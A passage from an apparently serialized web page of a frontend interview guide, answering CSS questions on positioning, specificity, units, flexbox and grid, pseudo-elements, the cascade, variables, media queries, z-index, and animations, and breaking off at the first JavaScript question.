shiki shiki-themes github-dark","*, *::before, *::after {\n    box-sizing: border-box;\n}\n","css",[34,1267,1268,1290,1303],{"__ignoreMap":90},[94,1269,1270,1273,1275,1277,1280,1282,1284,1287],{"class":96,"line":97},[94,1271,1272],{"class":104},"*",[94,1274,346],{"class":100},[94,1276,1272],{"class":104},[94,1278,1279],{"class":146},"::before",[94,1281,346],{"class":100},[94,1283,1272],{"class":104},[94,1285,1286],{"class":146},"::after",[94,1288,1289],{"class":100}," {\n",[94,1291,1292,1295,1298,1300],{"class":96,"line":111},[94,1293,1294],{"class":757},"    box-sizing",[94,1296,1297],{"class":100},": ",[94,1299,1237],{"class":757},[94,1301,1302],{"class":100},";\n",[94,1304,1305],{"class":96,"line":122},[94,1306,1307],{"class":100},"}\n",[11,1309,1310],{},"That snippet at the top of your stylesheet flips the default for the whole project, and most modern frameworks (Tailwind, Bootstrap, every CSS reset) do this for you. Once you switch, your width math becomes \"what I write is what I see,\" which makes layout dramatically easier.",[23,1312,1314,1315,346,1318,346,1321,463,1324,229],{"id":1313},"_18-what-is-the-difference-between-position-relative-absolute-fixed-and-sticky","18. What is the difference between ",[34,1316,1317],{},"position: relative",[34,1319,1320],{},"absolute",[34,1322,1323],{},"fixed",[34,1325,1326],{},"sticky",[11,1328,1329,1332],{},[34,1330,1331],{},"position"," decides how an element is placed on the page. There are five values you should know.",[483,1334,1335,1345,1354,1359,1364],{},[486,1336,1337,1340,1341,1344],{},[34,1338,1339],{},"static"," is the default. The element flows in the document like normal, and ",[34,1342,1343],{},"top/left/right/bottom"," do nothing.",[486,1346,1347,1350,1351,1353],{},[34,1348,1349],{},"relative"," keeps the element in normal flow but lets you nudge it with ",[34,1352,1343],{},". Crucially, the space it would have taken is preserved, so other elements do not move.",[486,1355,1356,1358],{},[34,1357,1320],{}," removes the element from normal flow entirely. It is positioned relative to the nearest ancestor that has its own non static position. If there is no such ancestor, it is positioned relative to the page.",[486,1360,1361,1363],{},[34,1362,1323],{}," is like absolute, but always positioned relative to the viewport. It does not move when you scroll, which is how sticky headers and floating chat buttons work.",[486,1365,1366,1368,1369,1371,1372,1375,1376,1378],{},[34,1367,1326],{}," is a hybrid. It behaves like ",[34,1370,1349],{}," until you scroll past a threshold (usually ",[34,1373,1374],{},"top: 0","), at which point it locks in place like ",[34,1377,1323],{},", but only within its parent.",[11,1380,1381,1382,1384,1385,1388],{},"A common pattern: wrap an item with ",[34,1383,1317],{},", then place a child with ",[34,1386,1387],{},"position: absolute"," to overlay something (a badge, a close button) on it.",[23,1390,1392,1393,346,1396,463,1399,229],{"id":1391},"_19-what-is-the-difference-between-display-none-visibility-hidden-and-opacity-0","19. What is the difference between ",[34,1394,1395],{},"display: none",[34,1397,1398],{},"visibility: hidden",[34,1400,1401],{},"opacity: 0",[11,1403,1404],{},"All three make an element invisible, but the side effects are very different.",[497,1406,1407,1423],{},[500,1408,1409],{},[503,1410,1411,1414,1417,1420],{},[506,1412,1413],{},"Property",[506,1415,1416],{},"Takes up space",[506,1418,1419],{},"Visible",[506,1421,1422],{},"Receives clicks",[519,1424,1425,1437,1449],{},[503,1426,1427,1431,1433,1435],{},[524,1428,1429],{},[34,1430,1395],{},[524,1432,550],{},[524,1434,550],{},[524,1436,550],{},[503,1438,1439,1443,1445,1447],{},[524,1440,1441],{},[34,1442,1398],{},[524,1444,535],{},[524,1446,550],{},[524,1448,550],{},[503,1450,1451,1455,1457,1459],{},[524,1452,1453],{},[34,1454,1401],{},[524,1456,535],{},[524,1458,550],{},[524,1460,535],{},[11,1462,1463,1465,1466,1468,1469,1471],{},[34,1464,1395],{}," removes the element from the layout entirely, like it does not exist. ",[34,1467,1398],{}," keeps the space but hides the contents. ",[34,1470,1401],{}," is the surprising one: the element is fully transparent but it is still there and it can still be clicked and focused. That is sometimes useful (animating a fade in without changing layout) and sometimes a confusing bug (an invisible button intercepting clicks).",[23,1473,1475],{"id":1474},"_20-what-is-specificity-in-css","20. What is specificity in CSS?",[11,1477,1478],{},"Specificity is the rule that decides which CSS declaration wins when more than one rule could apply to the same element. Browsers calculate it as a four part score: inline styles, ids, classes (and attributes and pseudo classes), and elements (and pseudo elements).",[11,1480,1481,1482,1485,1486,1489,1490,1493,1494,1496,1497,1499],{},"So ",[34,1483,1484],{},"#main .item"," scores 0,1,1,0 (one id, one class). ",[34,1487,1488],{},".list .item"," scores 0,0,2,0 (two classes). The first one wins because the id outweighs any number of classes. An inline ",[34,1491,1492],{},"style=\"...\""," always beats both, and ",[34,1495,385],{}," beats all of those, and only another ",[34,1498,385],{}," can beat that.",[11,1501,1502,1503,1505],{},"In real codebases, the moment you start writing ",[34,1504,385],{}," to fix a styling problem, you are usually fighting your own specificity. The cure is almost always to lower the specificity of the conflicting rule, not to escalate. That is why many teams write CSS with single class selectors and avoid id selectors for styling.",[23,1507,1509,1510,346,1513,346,1516,346,1519,346,1522,463,1525,229],{"id":1508},"_21-what-is-the-difference-between-em-rem-px-vh-and-vw","21. What is the difference between ",[34,1511,1512],{},"em",[34,1514,1515],{},"rem",[34,1517,1518],{},"px",[34,1520,1521],{},"%",[34,1523,1524],{},"vh",[34,1526,1527],{},"vw",[11,1529,1530],{},"These are all CSS length units, but they relate to different things.",[483,1532,1533,1545,1561,1576,1581],{},[486,1534,1535,1537,1538,1541,1542,1544],{},[34,1536,1518],{}," is an absolute pixel. ",[34,1539,1540],{},"16px"," is ",[34,1543,1540],{}," no matter where you put it.",[486,1546,1547,1549,1550,1553,1554,1556,1557,1560],{},[34,1548,1512],{}," is relative to the font size of the ",[1183,1551,1552],{},"current element",". If a ",[34,1555,62],{}," has font size 20px, then ",[34,1558,1559],{},"1em"," inside that div is 20px.",[486,1562,1563,1549,1565,1568,1569,1571,1572,1575],{},[34,1564,1515],{},[1183,1566,1567],{},"root"," element (",[34,1570,691],{},"). So ",[34,1573,1574],{},"1rem"," is the same everywhere on the page, which is usually what you want.",[486,1577,1578,1580],{},[34,1579,1521],{}," is relative to the parent, but what \"the parent\" means depends on the property (width is parent width, line height is current font size, and so on).",[486,1582,1583,1585,1586,1588,1589,1592],{},[34,1584,1524],{}," is 1% of the viewport height. ",[34,1587,1527],{}," is 1% of the viewport width. So ",[34,1590,1591],{},"100vh"," is \"the full height of the visible area.\"",[11,1594,1595,1596,1598,1599,1601,1602,1604],{},"For typography, prefer ",[34,1597,1515],{},", because it scales consistently when the user changes their browser font size. For layout, mix ",[34,1600,1521],{}," (for fluid widths) and ",[34,1603,1515],{}," (for predictable spacing).",[23,1606,1608],{"id":1607},"_22-what-is-the-difference-between-flexbox-and-grid","22. What is the difference between Flexbox and Grid?",[11,1610,1611],{},"Both are modern CSS layout systems, but they solve different problems. Flexbox is one dimensional: it lays out items along a single axis, either a row or a column. Grid is two dimensional: it lays out rows and columns at the same time.",[11,1613,1614],{},[426,1615],{"alt":1616,"src":1617},"Flexbox vs Grid diagram","/post-images/top-100-frontend-interview-questions/flexbox-vs-grid-diagram.png",[11,1619,1620],{},"The practical guidance most people follow: reach for Flexbox when you are arranging items in a single line, like a navbar, a button group, or a row of cards. Reach for Grid when you are designing a full page layout with header, sidebar, and main content, or any time you need items aligned in both rows and columns. They are not rivals; many real layouts use Grid for the page skeleton and Flexbox inside individual components.",[23,1622,1624],{"id":1623},"_23-how-do-you-center-an-element-both-horizontally-and-vertically","23. How do you center an element both horizontally and vertically?",[11,1626,1627],{},"For a long time this was a famous CSS pain point. Today it is one line with Flexbox or Grid.",[85,1629,1631],{"className":1263,"code":1630,"language":1265,"meta":90,"style":90},"/* Flexbox */\n.parent {\n    display: flex;\n    justify-content: center;\n    align-items: center;\n}\n\n/* Grid */\n.parent {\n    display: grid;\n    place-items: center;\n}\n",[34,1632,1633,1638,1645,1657,1669,1680,1684,1688,1693,1700,1712,1724],{"__ignoreMap":90},[94,1634,1635],{"class":96,"line":97},[94,1636,1637],{"class":790},"/* Flexbox */\n",[94,1639,1640,1643],{"class":96,"line":111},[94,1641,1642],{"class":146},".parent",[94,1644,1289],{"class":100},[94,1646,1647,1650,1652,1655],{"class":96,"line":122},[94,1648,1649],{"class":757},"    display",[94,1651,1297],{"class":100},[94,1653,1654],{"class":757},"flex",[94,1656,1302],{"class":100},[94,1658,1659,1662,1664,1667],{"class":96,"line":138},[94,1660,1661],{"class":757},"    justify-content",[94,1663,1297],{"class":100},[94,1665,1666],{"class":757},"center",[94,1668,1302],{"class":100},[94,1670,1671,1674,1676,1678],{"class":96,"line":164},[94,1672,1673],{"class":757},"    align-items",[94,1675,1297],{"class":100},[94,1677,1666],{"class":757},[94,1679,1302],{"class":100},[94,1681,1682],{"class":96,"line":174},[94,1683,1307],{"class":100},[94,1685,1686],{"class":96,"line":188},[94,1687,289],{"emptyLinePlaceholder":288},[94,1689,1690],{"class":96,"line":203},[94,1691,1692],{"class":790},"/* Grid */\n",[94,1694,1696,1698],{"class":96,"line":1695},9,[94,1697,1642],{"class":146},[94,1699,1289],{"class":100},[94,1701,1703,1705,1707,1710],{"class":96,"line":1702},10,[94,1704,1649],{"class":757},[94,1706,1297],{"class":100},[94,1708,1709],{"class":757},"grid",[94,1711,1302],{"class":100},[94,1713,1715,1718,1720,1722],{"class":96,"line":1714},11,[94,1716,1717],{"class":757},"    place-items",[94,1719,1297],{"class":100},[94,1721,1666],{"class":757},[94,1723,1302],{"class":100},[94,1725,1727],{"class":96,"line":1726},12,[94,1728,1307],{"class":100},[11,1730,1731,1732,1734,1735,1738],{},"That is it. You apply this to the parent, and any single child inside will be centred both ways. If you ever see older tutorials using ",[34,1733,1387],{}," with ",[34,1736,1737],{},"transform: translate(-50%, -50%)",", that was the workaround before Flexbox and Grid existed. You almost never need it anymore.",[23,1740,1742],{"id":1741},"_24-what-are-pseudo-classes-and-pseudo-elements","24. What are pseudo classes and pseudo elements?",[11,1744,1745],{},"Both let you target something more specific than just an element, but they describe different things.",[11,1747,1748,1749,1752,1753,1756,1757,1760,1761,1764,1765,401],{},"A ",[1183,1750,1751],{},"pseudo class"," describes a state. It targets an element in a particular condition, like when the cursor is over it (",[34,1754,1755],{},":hover","), when it is focused (",[34,1758,1759],{},":focus","), when it is the third child (",[34,1762,1763],{},":nth-child(3)","), or when a checkbox is checked (",[34,1766,1767],{},":checked",[11,1769,1748,1770,1773,1774,1777,1778,1781,1782,346,1784,401],{},[1183,1771,1772],{},"pseudo element"," describes a part of an element. It lets you style or insert something that is not a real DOM node, like the first letter of a paragraph (",[34,1775,1776],{},"::first-letter","), the placeholder text inside an input (",[34,1779,1780],{},"::placeholder","), or generated content before or after the element (",[34,1783,1279],{},[34,1785,1286],{},[11,1787,1788,1789,1791,1792,1794],{},"By convention, pseudo classes use a single colon (",[34,1790,1755],{},") and pseudo elements use a double colon (",[34,1793,1279],{},"). This is one of those small details that interviewers love because it tells them whether you have actually written real CSS.",[23,1796,1798,1799,70,1801,229],{"id":1797},"_25-what-is-the-difference-between-before-and-after","25. What is the difference between ",[34,1800,1279],{},[34,1802,1286],{},[11,1804,1805,1806,1808,1809,1811],{},"Both are pseudo elements that insert generated content into an element. ",[34,1807,1279],{}," puts the content at the very start of the element (before any real children), and ",[34,1810,1286],{}," puts it at the very end.",[11,1813,1814,1815,1817],{},"Both require a ",[34,1816,1185],{}," property, otherwise the browser does not render them at all. Even an empty string counts:",[85,1819,1821],{"className":1263,"code":1820,"language":1265,"meta":90,"style":90},".note::before {\n    content: '📝 ';\n    color: #10b981;\n}\n\n.tooltip::after {\n    content: '';            /* still required */\n    display: block;\n    width: 8px;\n    height: 8px;\n}\n",[34,1822,1823,1830,1842,1854,1858,1862,1869,1884,1895,1909,1922],{"__ignoreMap":90},[94,1824,1825,1828],{"class":96,"line":97},[94,1826,1827],{"class":146},".note::before",[94,1829,1289],{"class":100},[94,1831,1832,1835,1837,1840],{"class":96,"line":111},[94,1833,1834],{"class":757},"    content",[94,1836,1297],{"class":100},[94,1838,1839],{"class":153},"'📝 '",[94,1841,1302],{"class":100},[94,1843,1844,1847,1849,1852],{"class":96,"line":122},[94,1845,1846],{"class":757},"    color",[94,1848,1297],{"class":100},[94,1850,1851],{"class":757},"#10b981",[94,1853,1302],{"class":100},[94,1855,1856],{"class":96,"line":138},[94,1857,1307],{"class":100},[94,1859,1860],{"class":96,"line":164},[94,1861,289],{"emptyLinePlaceholder":288},[94,1863,1864,1867],{"class":96,"line":174},[94,1865,1866],{"class":146},".tooltip::after",[94,1868,1289],{"class":100},[94,1870,1871,1873,1875,1878,1881],{"class":96,"line":188},[94,1872,1834],{"class":757},[94,1874,1297],{"class":100},[94,1876,1877],{"class":153},"''",[94,1879,1880],{"class":100},";            ",[94,1882,1883],{"class":790},"/* still required */\n",[94,1885,1886,1888,1890,1893],{"class":96,"line":203},[94,1887,1649],{"class":757},[94,1889,1297],{"class":100},[94,1891,1892],{"class":757},"block",[94,1894,1302],{"class":100},[94,1896,1897,1900,1902,1905,1907],{"class":96,"line":1695},[94,1898,1899],{"class":757},"    width",[94,1901,1297],{"class":100},[94,1903,1904],{"class":757},"8",[94,1906,1518],{"class":753},[94,1908,1302],{"class":100},[94,1910,1911,1914,1916,1918,1920],{"class":96,"line":1702},[94,1912,1913],{"class":757},"    height",[94,1915,1297],{"class":100},[94,1917,1904],{"class":757},[94,1919,1518],{"class":753},[94,1921,1302],{"class":100},[94,1923,1924],{"class":96,"line":1714},[94,1925,1307],{"class":100},[11,1927,1928],{},"They are great for decorative things like icons, quotation marks, dividers, or arrow shapes on tooltips, without polluting your HTML with extra elements.",[23,1930,1932],{"id":1931},"_26-what-is-the-css-cascade","26. What is the CSS cascade?",[11,1934,1935],{},"The cascade is the algorithm the browser uses to decide which style wins when multiple rules apply to the same element. It is literally where the C in CSS comes from.",[11,1937,1938],{},"The browser considers, in order:",[1940,1941,1942,1954,1960],"ol",{},[486,1943,1944,1947,1948,1950,1951,1953],{},[1183,1945,1946],{},"Origin and importance",": user agent stylesheet, your stylesheet, user stylesheet, and ",[34,1949,385],{}," rules. Author ",[34,1952,385],{}," beats almost everything in normal use.",[486,1955,1956,1959],{},[1183,1957,1958],{},"Specificity",": the four part score from question 20.",[486,1961,1962,1965],{},[1183,1963,1964],{},"Source order",": among rules of equal specificity, the one written later wins.",[11,1967,1968],{},"The first time this clicks, a lot of \"why is my CSS not working\" mysteries instantly become solvable. Either something more specific is overriding you, or something later is overriding you, or both.",[23,1970,1972],{"id":1971},"_27-what-is-the-difference-between-inline-internal-and-external-css","27. What is the difference between inline, internal, and external CSS?",[11,1974,1975],{},"These are the three places you can put CSS, and each has tradeoffs.",[483,1977,1978,1987,1996],{},[486,1979,1980,1983,1984,1986],{},[1183,1981,1982],{},"Inline CSS"," is a ",[34,1985,1492],{}," attribute directly on an element. It has the highest specificity, which is both its power and its problem, because anything that high is hard to override. It is also impossible to cache or reuse.",[486,1988,1989,1983,1992,1995],{},[1183,1990,1991],{},"Internal CSS",[34,1993,1994],{},"\u003Cstyle>"," block inside the HTML head. It is great for tiny pages, prototypes, or \"critical CSS\" that you want to inline so the page can render before any external stylesheet downloads.",[486,1997,1998,2001,2002,2005,2006,2009],{},[1183,1999,2000],{},"External CSS"," is a separate ",[34,2003,2004],{},".css"," file linked with ",[34,2007,2008],{},"\u003Clink rel=\"stylesheet\">",". This is what almost every real website uses, because the file can be cached, reused across pages, and edited without touching the HTML.",[11,2011,2012],{},"Most projects use external for the bulk of styles, internal for critical above the fold CSS that needs to appear instantly, and inline only for genuinely dynamic per element values.",[23,2014,2016],{"id":2015},"_28-what-are-css-variables-custom-properties","28. What are CSS variables (custom properties)?",[11,2018,2019,2020,360],{},"CSS variables, also called custom properties, let you define a value once and reuse it everywhere. You declare one with two leading dashes and read it back with ",[34,2021,2022],{},"var()",[85,2024,2026],{"className":1263,"code":2025,"language":1265,"meta":90,"style":90},":root {\n    --brand: #10b981;\n    --space-md: 16px;\n}\n\n.button {\n    background: var(--brand);\n    padding: var(--space-md);\n}\n",[34,2027,2028,2035,2047,2061,2065,2069,2076,2094,2110],{"__ignoreMap":90},[94,2029,2030,2033],{"class":96,"line":97},[94,2031,2032],{"class":146},":root",[94,2034,1289],{"class":100},[94,2036,2037,2041,2043,2045],{"class":96,"line":111},[94,2038,2040],{"class":2039},"s9osk","    --brand",[94,2042,1297],{"class":100},[94,2044,1851],{"class":757},[94,2046,1302],{"class":100},[94,2048,2049,2052,2054,2057,2059],{"class":96,"line":122},[94,2050,2051],{"class":2039},"    --space-md",[94,2053,1297],{"class":100},[94,2055,2056],{"class":757},"16",[94,2058,1518],{"class":753},[94,2060,1302],{"class":100},[94,2062,2063],{"class":96,"line":138},[94,2064,1307],{"class":100},[94,2066,2067],{"class":96,"line":164},[94,2068,289],{"emptyLinePlaceholder":288},[94,2070,2071,2074],{"class":96,"line":174},[94,2072,2073],{"class":146},".button",[94,2075,1289],{"class":100},[94,2077,2078,2081,2083,2086,2088,2091],{"class":96,"line":188},[94,2079,2080],{"class":757},"    background",[94,2082,1297],{"class":100},[94,2084,2085],{"class":757},"var",[94,2087,770],{"class":100},[94,2089,2090],{"class":2039},"--brand",[94,2092,2093],{"class":100},");\n",[94,2095,2096,2099,2101,2103,2105,2108],{"class":96,"line":203},[94,2097,2098],{"class":757},"    padding",[94,2100,1297],{"class":100},[94,2102,2085],{"class":757},[94,2104,770],{"class":100},[94,2106,2107],{"class":2039},"--space-md",[94,2109,2093],{"class":100},[94,2111,2112],{"class":96,"line":1695},[94,2113,1307],{"class":100},[11,2115,2116,2117,2120,2121,2124,2125,70,2128,2131,2132,2134],{},"The thing that makes them special, compared to preprocessor variables like Sass ",[34,2118,2119],{},"$brand",", is that they are ",[1183,2122,2123],{},"live",". They exist at runtime in the browser, so you can change them on the fly with JavaScript, with media queries, or by adding a class, and every element using them updates instantly. That is exactly how modern dark mode toggles work: flip a single ",[34,2126,2127],{},"--bg",[34,2129,2130],{},"--text"," variable on ",[34,2133,691],{},", and the whole page re skins.",[23,2136,2138,2139,346,2142,463,2145,229],{"id":2137},"_29-what-is-the-difference-between-min-width-max-width-and-width","29. What is the difference between ",[34,2140,2141],{},"min-width",[34,2143,2144],{},"max-width",[34,2146,1210],{},[11,2148,2149,2151,2152,2154,2155,2157],{},[34,2150,1210],{}," sets a fixed width: \"be exactly this wide.\" ",[34,2153,2141],{}," sets a floor: \"never get smaller than this.\" ",[34,2156,2144],{}," sets a ceiling: \"never get bigger than this.\"",[11,2159,2160],{},"The two relative ones are essential for responsive design. The most common one liner you will write again and again is:",[85,2162,2164],{"className":1263,"code":2163,"language":1265,"meta":90,"style":90},"img, video {\n    max-width: 100%;\n    height: auto;\n}\n",[34,2165,2166,2177,2191,2202],{"__ignoreMap":90},[94,2167,2168,2170,2172,2175],{"class":96,"line":97},[94,2169,426],{"class":104},[94,2171,346],{"class":100},[94,2173,2174],{"class":104},"video",[94,2176,1289],{"class":100},[94,2178,2179,2182,2184,2187,2189],{"class":96,"line":111},[94,2180,2181],{"class":757},"    max-width",[94,2183,1297],{"class":100},[94,2185,2186],{"class":757},"100",[94,2188,1521],{"class":753},[94,2190,1302],{"class":100},[94,2192,2193,2195,2197,2200],{"class":96,"line":122},[94,2194,1913],{"class":757},[94,2196,1297],{"class":100},[94,2198,2199],{"class":757},"auto",[94,2201,1302],{"class":100},[94,2203,2204],{"class":96,"line":138},[94,2205,1307],{"class":100},[11,2207,2208],{},"That tells images and videos: \"fit your container, but never overflow it.\" Without this, a 1600px wide hero image will blow out the layout on a phone.",[23,2210,2212],{"id":2211},"_30-what-is-a-media-query","30. What is a media query?",[11,2214,2215],{},"A media query is a CSS block that only applies when certain conditions are true. The most common condition is the size of the viewport.",[85,2217,2219],{"className":1263,"code":2218,"language":1265,"meta":90,"style":90},".sidebar {\n    display: block;\n}\n\n@media (max-width: 768px) {\n    .sidebar {\n        display: none;\n    }\n}\n",[34,2220,2221,2228,2238,2242,2246,2266,2273,2285,2290],{"__ignoreMap":90},[94,2222,2223,2226],{"class":96,"line":97},[94,2224,2225],{"class":146},".sidebar",[94,2227,1289],{"class":100},[94,2229,2230,2232,2234,2236],{"class":96,"line":111},[94,2231,1649],{"class":757},[94,2233,1297],{"class":100},[94,2235,1892],{"class":757},[94,2237,1302],{"class":100},[94,2239,2240],{"class":96,"line":122},[94,2241,1307],{"class":100},[94,2243,2244],{"class":96,"line":138},[94,2245,289],{"emptyLinePlaceholder":288},[94,2247,2248,2251,2254,2256,2258,2261,2263],{"class":96,"line":164},[94,2249,2250],{"class":753},"@media",[94,2252,2253],{"class":100}," (",[94,2255,2144],{"class":757},[94,2257,1297],{"class":100},[94,2259,2260],{"class":757},"768",[94,2262,1518],{"class":753},[94,2264,2265],{"class":100},") {\n",[94,2267,2268,2271],{"class":96,"line":174},[94,2269,2270],{"class":146},"    .sidebar",[94,2272,1289],{"class":100},[94,2274,2275,2278,2280,2283],{"class":96,"line":188},[94,2276,2277],{"class":757},"        display",[94,2279,1297],{"class":100},[94,2281,2282],{"class":757},"none",[94,2284,1302],{"class":100},[94,2286,2287],{"class":96,"line":203},[94,2288,2289],{"class":100},"    }\n",[94,2291,2292],{"class":96,"line":1695},[94,2293,1307],{"class":100},[11,2295,2296,2297,2300,2301,2304,2305,2308],{},"That hides the sidebar on screens 768 pixels wide or less. Media queries can also check things like color scheme (",[34,2298,2299],{},"prefers-color-scheme: dark","), reduced motion (",[34,2302,2303],{},"prefers-reduced-motion","), and orientation. There is also a newer feature called container queries (",[34,2306,2307],{},"@container","), which checks the size of a parent element instead of the viewport, which is enormously useful for component based design.",[23,2310,2312],{"id":2311},"_31-what-is-the-difference-between-mobile-first-and-desktop-first-css","31. What is the difference between mobile first and desktop first CSS?",[11,2314,2315],{},"Both are ways to write responsive CSS, but they start from different defaults.",[11,2317,2318,2319,2322,2323,2325,2326,2329,2330,2332],{},"In a ",[1183,2320,2321],{},"mobile first"," approach, you write the base styles for the smallest screen and use ",[34,2324,2141],{}," media queries to add things as the screen gets bigger. In a ",[1183,2327,2328],{},"desktop first"," approach, you write the base styles for the largest screen and use ",[34,2331,2144],{}," media queries to take things away as the screen gets smaller.",[11,2334,2335],{},"Mobile first tends to produce smaller, simpler stylesheets in practice, because you are adding complexity for big screens (which usually means more layout features) rather than stripping it away for small screens. Most modern frameworks default to mobile first for that reason.",[23,2337,2339,2340,2343],{"id":2338},"_32-what-is-z-index-and-how-does-it-work","32. What is ",[34,2341,2342],{},"z-index"," and how does it work?",[11,2345,2346,2348],{},[34,2347,2342],{}," controls the stacking order of elements that overlap. A higher value sits in front; a lower value sits behind. By default everything is at the same level, and the order they appear in the HTML decides what is on top.",[11,2350,2351,2352,2354,2355,2357,2358,2360,2361,2363,2364,2367,2368,2370],{},"There are two important rules people often get wrong. First, ",[34,2353,2342],{}," only works on elements that have a ",[34,2356,1331],{}," other than ",[34,2359,1339],{}," (or that are flex / grid items with ",[34,2362,2342],{}," set). If you set ",[34,2365,2366],{},"z-index: 999"," on a normal ",[34,2369,62],{}," it does nothing.",[11,2372,2373,2374,2376,2377,2380,2381,2383,2384,2387,2388,360],{},"Second, ",[34,2375,2342],{}," lives inside something called a ",[1183,2378,2379],{},"stacking context",". An element can never appear above another element that is in a different, higher level stacking context, no matter how huge its ",[34,2382,2342],{}," is. This is why a modal with ",[34,2385,2386],{},"z-index: 9999"," sometimes still ends up stuck behind a header. The fix is usually to render the modal outside the trapped subtree, often as a direct child of ",[34,2389,2390],{},"\u003Cbody>",[23,2392,2394,2395,2398,2399,229],{"id":2393},"_33-what-is-the-difference-between-transform-translate-and-changing-topleft","33. What is the difference between ",[34,2396,2397],{},"transform: translate()"," and changing ",[34,2400,2401],{},"top/left",[11,2403,2404],{},"Both move an element to a new position, but the cost is wildly different.",[11,2406,2407,2408,216,2411,2414,2415,2418],{},"When you change ",[34,2409,2410],{},"top",[34,2412,2413],{},"left",", the browser has to do ",[1183,2416,2417],{},"layout",", which means recalculating the position of this element and possibly everything around it, then repaint. That is slow, especially during animations.",[11,2420,2407,2421,2424,2425,2428],{},[34,2422,2423],{},"transform: translate(...)",", the browser usually skips layout entirely and just composites the element on the GPU. The original layout box does not move; visually, the element shifts. That is why ",[34,2426,2427],{},"transform"," is dramatically faster for animations, often hitting 60fps without breaking a sweat.",[11,2430,2431,2432,2435,2436,70,2438,2440],{},"The same pattern applies to ",[34,2433,2434],{},"opacity",". So the rule of thumb for smooth animations is: animate ",[34,2437,2427],{},[34,2439,2434],{}," whenever possible, and avoid animating layout properties.",[23,2442,2444],{"id":2443},"_34-what-are-css-transitions-and-animations","34. What are CSS transitions and animations?",[11,2446,2447],{},"Both make things move, but they are aimed at different needs.",[11,2449,1748,2450,2453,2454,401],{},[1183,2451,2452],{},"transition"," smoothly interpolates between two states. You define the starting style, the property to transition, and how long it should take. The transition runs whenever the property changes (often because of a class change or a ",[34,2455,1755],{},[85,2457,2459],{"className":1263,"code":2458,"language":1265,"meta":90,"style":90},".box {\n    transition: transform 200ms ease;\n}\n.box:hover {\n    transform: scale(1.1);\n}\n",[34,2460,2461,2468,2487,2491,2498,2515],{"__ignoreMap":90},[94,2462,2463,2466],{"class":96,"line":97},[94,2464,2465],{"class":146},".box",[94,2467,1289],{"class":100},[94,2469,2470,2473,2476,2479,2482,2485],{"class":96,"line":111},[94,2471,2472],{"class":757},"    transition",[94,2474,2475],{"class":100},": transform ",[94,2477,2478],{"class":757},"200",[94,2480,2481],{"class":753},"ms",[94,2483,2484],{"class":757}," ease",[94,2486,1302],{"class":100},[94,2488,2489],{"class":96,"line":122},[94,2490,1307],{"class":100},[94,2492,2493,2496],{"class":96,"line":138},[94,2494,2495],{"class":146},".box:hover",[94,2497,1289],{"class":100},[94,2499,2500,2503,2505,2508,2510,2513],{"class":96,"line":164},[94,2501,2502],{"class":757},"    transform",[94,2504,1297],{"class":100},[94,2506,2507],{"class":757},"scale",[94,2509,770],{"class":100},[94,2511,2512],{"class":757},"1.1",[94,2514,2093],{"class":100},[94,2516,2517],{"class":96,"line":174},[94,2518,1307],{"class":100},[11,2520,2521,2522,2525,2526,2529],{},"An ",[1183,2523,2524],{},"animation"," uses ",[34,2527,2528],{},"@keyframes"," to define a multi step sequence. It is more powerful: it can run on its own without a state change, loop, alternate direction, and stop and start by toggling a class.",[85,2531,2533],{"className":1263,"code":2532,"language":1265,"meta":90,"style":90},"@keyframes spin {\n    to { transform: rotate(360deg); }\n}\n.loader {\n    animation: spin 1s linear infinite;\n}\n",[34,2534,2535,2544,2570,2574,2581,2603],{"__ignoreMap":90},[94,2536,2537,2539,2542],{"class":96,"line":97},[94,2538,2528],{"class":753},[94,2540,2541],{"class":2039}," spin",[94,2543,1289],{"class":100},[94,2545,2546,2549,2552,2554,2556,2559,2561,2564,2567],{"class":96,"line":111},[94,2547,2548],{"class":146},"    to",[94,2550,2551],{"class":100}," { ",[94,2553,2427],{"class":757},[94,2555,1297],{"class":100},[94,2557,2558],{"class":757},"rotate",[94,2560,770],{"class":100},[94,2562,2563],{"class":757},"360",[94,2565,2566],{"class":753},"deg",[94,2568,2569],{"class":100},"); }\n",[94,2571,2572],{"class":96,"line":122},[94,2573,1307],{"class":100},[94,2575,2576,2579],{"class":96,"line":138},[94,2577,2578],{"class":146},".loader",[94,2580,1289],{"class":100},[94,2582,2583,2586,2589,2592,2595,2598,2601],{"class":96,"line":164},[94,2584,2585],{"class":757},"    animation",[94,2587,2588],{"class":100},": spin ",[94,2590,2591],{"class":757},"1",[94,2593,2594],{"class":753},"s",[94,2596,2597],{"class":757}," linear",[94,2599,2600],{"class":757}," infinite",[94,2602,1302],{"class":100},[94,2604,2605],{"class":96,"line":174},[94,2606,1307],{"class":100},[11,2608,2609],{},"Use transitions for \"respond to a state change\" effects (hover, focus, open). Use animations for things that need to run independently, like loaders, attention seekers, or staged entrances.",[23,2611,2613,2614,346,2617,463,2620,229],{"id":2612},"_35-what-is-the-difference-between-inline-inline-block-and-block","35. What is the difference between ",[34,2615,2616],{},"inline",[34,2618,2619],{},"inline-block",[34,2621,1892],{},[11,2623,2624,2625,706],{},"These are three of the most common values for the ",[34,2626,2627],{},"display",[483,2629,2630,2648,2665],{},[486,2631,2632,2634,2635,346,2637,346,2640,2642,2643,346,2645,2647],{},[34,2633,1892],{}," elements (",[34,2636,62],{},[34,2638,2639],{},"\u003Cp>",[34,2641,345],{},") take up the full width available, start on a new line, and respect ",[34,2644,1210],{},[34,2646,1245],{},", top/bottom margin, and top/bottom padding.",[486,2649,2650,2634,2652,346,2654,346,2657,2659,2660,346,2662,2664],{},[34,2651,2616],{},[34,2653,219],{},[34,2655,2656],{},"\u003Ca>",[34,2658,351],{},") only take up the width of their content, sit next to other inline elements on the same line, and ignore ",[34,2661,1210],{},[34,2663,1245],{},", and top/bottom margin.",[486,2666,2667,2669,2670,2672,2673,346,2675,2677,2678,360],{},[34,2668,2619],{}," is the hybrid. It sits next to other inline things like ",[34,2671,2616],{},", but it respects ",[34,2674,1210],{},[34,2676,1245],{},", and margins like ",[34,2679,1892],{},[11,2681,2682,2684,2685,2687],{},[34,2683,2619],{}," was hugely important before Flexbox existed, for things like horizontal lists of items. Today you usually reach for Flexbox or Grid instead, but ",[34,2686,2619],{}," is still useful for small things like custom badges that need an explicit size while flowing inline.",[18,2689,2691],{"id":2690},"javascript-questions","JavaScript Questions",[23,2693,2695,2696,346,2698,463,2701,229],{"id":2694},"_36-what-is-the-difference-between-var-let-and-const","36. What is the difference between ",[34,2697,2085],{},[34,2699,2700],{},"let",[34,2702,754],{},[11,2704,2705],{},"All three declare a variable, but they behave differently in three important ways: scope, hoisting, and 